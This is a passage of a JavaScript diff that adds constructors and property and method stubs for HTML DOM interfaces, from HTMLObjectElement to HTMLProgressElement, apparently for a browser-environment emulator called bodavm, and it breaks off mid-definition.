+bodavm.toolsFunc.defineProperty('HTMLObjectElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "archive", { + configurable: true, + enumerable: true, + get: function archive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_get", arguments); + }, + set: function archive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_get", arguments); + }, + set: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "declare", { + configurable: true, + enumerable: true, + get: function declare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_get", arguments); + }, + set: function declare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "standby", { + configurable: true, + enumerable: true, + get: function standby() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_get", arguments); + }, + set: function standby() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeBase", { + configurable: true, + enumerable: true, + get: function codeBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_get", arguments); + }, + set: function codeBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeType", { + configurable: true, + enumerable: true, + get: function codeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_get", arguments); + }, + set: function codeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "getSVGDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "setCustomValidity", arguments); + } +}, 'prototype'); +// HTMLOListElement对象 + +bodavm.memory.globalobj['HTMLOListElement'] = function HTMLOListElement() { + console.log_copy('HTMLOListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOListElement'], "HTMLOListElement"); +bodavm.memory.globalobj['HTMLOListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOListElement', "reversed", { + configurable: true, + enumerable: true, + get: function reversed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_get", arguments); + }, + set: function reversed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "reversed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "start", { + configurable: true, + enumerable: true, + get: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_get", arguments); + }, + set: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "start_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOListElement'].prototype, "HTMLOListElement", "compact_set", arguments); + } +}, 'prototype'); +// HTMLOptGroupElement对象 + +bodavm.memory.globalobj['HTMLOptGroupElement'] = function HTMLOptGroupElement() { + console.log_copy('HTMLOptGroupElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptGroupElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptGroupElement'], "HTMLOptGroupElement"); +bodavm.memory.globalobj['HTMLOptGroupElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptGroupElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_set", arguments); + } +}, 'prototype'); +// HTMLOptionElement对象 + +bodavm.memory.globalobj['HTMLOptionElement'] = function HTMLOptionElement() { + console.log_copy('HTMLOptionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionElement'], "HTMLOptionElement"); +bodavm.memory.globalobj['HTMLOptionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "defaultSelected", { + configurable: true, + enumerable: true, + get: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_get", arguments); + }, + set: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLOptionsCollection对象 + +bodavm.memory.globalobj['HTMLOptionsCollection'] = function HTMLOptionsCollection() { + console.log_copy('HTMLOptionsCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptionsCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionsCollection'], "HTMLOptionsCollection"); +bodavm.memory.globalobj['HTMLOptionsCollection'].prototype.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype; +bodavm.memory.globalobj['HTMLOptionsCollection'].__proto__ = bodavm.memory.globalobj['HTMLCollection']; +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_get", arguments); + }, + set: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "remove", arguments); + } +}, 'prototype'); +// HTMLOutputElement对象 + +bodavm.memory.globalobj['HTMLOutputElement'] = function HTMLOutputElement() { + console.log_copy('HTMLOutputElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOutputElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOutputElement'], "HTMLOutputElement"); +bodavm.memory.globalobj['HTMLOutputElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOutputElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "setCustomValidity", arguments); + } +}, 'prototype'); +// HTMLParagraphElement对象 + +bodavm.memory.globalobj['HTMLParagraphElement'] = function HTMLParagraphElement() { + console.log_copy('HTMLParagraphElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLParagraphElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParagraphElement'], "HTMLParagraphElement"); +bodavm.memory.globalobj['HTMLParagraphElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLParagraphElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLParagraphElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_set", arguments); + } +}, 'prototype'); +// HTMLParamElement对象 + +bodavm.memory.globalobj['HTMLParamElement'] = function HTMLParamElement() { + console.log_copy('HTMLParamElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLParamElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParamElement'], "HTMLParamElement"); +bodavm.memory.globalobj['HTMLParamElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLParamElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLParamElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "valueType", { + configurable: true, + enumerable: true, + get: function valueType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_get", arguments); + }, + set: function valueType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_set", arguments); + } +}, 'prototype'); +// HTMLPictureElement对象 + +bodavm.memory.globalobj['HTMLPictureElement'] = function HTMLPictureElement() { + console.log_copy('HTMLPictureElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLPictureElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPictureElement'], "HTMLPictureElement"); +bodavm.memory.globalobj['HTMLPictureElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLPictureElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +// HTMLPreElement对象 + +bodavm.memory.globalobj['HTMLPreElement'] = function HTMLPreElement() { + console.log_copy('HTMLPreElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLPreElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPreElement'], "HTMLPreElement"); +bodavm.memory.globalobj['HTMLPreElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLPreElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLPreElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_set", arguments); + } +}, 'prototype'); +// HTMLProgressElement对象 + +bodavm.memory.globalobj['HTMLProgressElement'] = function HTMLProgressElement() { + console.log_copy('HTMLProgressElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLProgressElement)) { + 